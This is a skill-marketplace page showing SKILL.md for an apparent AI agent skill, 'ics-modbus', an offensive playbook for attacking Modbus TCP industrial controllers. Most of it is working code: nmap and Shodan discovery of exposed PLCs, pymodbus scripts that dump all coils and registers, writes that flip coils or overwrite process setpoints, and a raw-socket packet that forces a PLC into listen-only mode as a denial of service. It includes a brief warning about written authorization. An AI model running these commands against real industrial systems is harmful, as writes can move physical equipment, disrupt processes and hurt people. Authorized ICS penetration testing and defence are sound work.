Skip to main content

ics-modbus

Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
26. Mai 2026 um 09:25
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
ics-modbus
description
Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"modbus modbus-tcp tcp 502 plc scada coil register holding input function code fc fc8 fc43 mei serial gateway moxa","subdomain":"ics-ot","tags":"modbus, plc, scada, ics, ot","mitre_attack":"T0855, T0836, T0831"}
# Modbus TCP Attack Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable. ## Discover ```bash # Scan for port 502 nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24 # Or with Shodan / Censys: port:502 country:XX # Internet-facing Modbus is still depressingly common (search "modbus" on Shodan) ``` ## Read everything ```bash # Python pymodbus python3 -c ' from pymodbus.client import ModbusTcpClient c = ModbusTcpClient("10.0.0.5", port=502) c.connect() print("Coils 0-100:", c.read_coils(0, 100).bits) print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits) print("Hold regs:", c.read_holding_registers(0, 100).registers) print("Input regs:", c.read_input_registers(0, 100).registers) c.close() ' # Or with mbtget (CLI) mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs # nmap script enum nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5 ``` ## Identify the device (FC43 / MEI) ```bash # Function code 43 (Read Device Identification) returns vendor / model / firmware python3 -c ' from pymodbus.client import ModbusTcpClient from pymodbus.mei_message import ReadDeviceInformationRequest c = ModbusTcpClient("10.0.0.5", port=502) c.connect() r = c.execute(ReadDeviceInformationRequest(read_code=1)) print(r.information) c.close() ' # Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...} ``` ## Write attacks ### Single coil flip (DO output) ```python c.write_coil(address=10, value=True) # flip coil 10 ON # In a PLC, coil 10 might be: motor start, valve open, breaker close ``` ### Tamper holding registers (process setpoints) ```python c.write_register(address=100, value=9999) # often a setpoint or limit ``` ### Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode") ```python # Stops the PLC from responding to ANY Modbus request — soft DoS # Use raw socket: import socket, struct s = socket.socket() s.connect(("10.0.0.5", 502)) mbap = struct.pack(">HHHB", 1, 0, 6, 1) pdu = struct.pack(">BHH", 8, 0x0004, 0x0000) s.send(mbap + pdu) ``` ### Bulk-write registers (often unauthenticated) ```python c.write_registers(address=0, values=[0]*100) # zero-out 100 registers ``` ## Common findings | Finding | Impact | |---|---| | Modbus on internet | Full process control of whatever the PLC drives | | No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC | | Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN | | HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper | | Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) | ## OPSEC + safety - **Real-world warning**: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people. - Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — `modbus_function_5` and `modbus_function_15` are distinctive in their telemetry. - Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack. ## References - "Modbus Hacking" — Joel Langill (recurring S4 Conference talks) - pymodbus docs — github.com/pymodbus-dev/pymodbus - nmap NSE modbus-discover.nse - IEC 62443 (defender baseline; useful for understanding what's in-scope)
Auf GitHub ansehen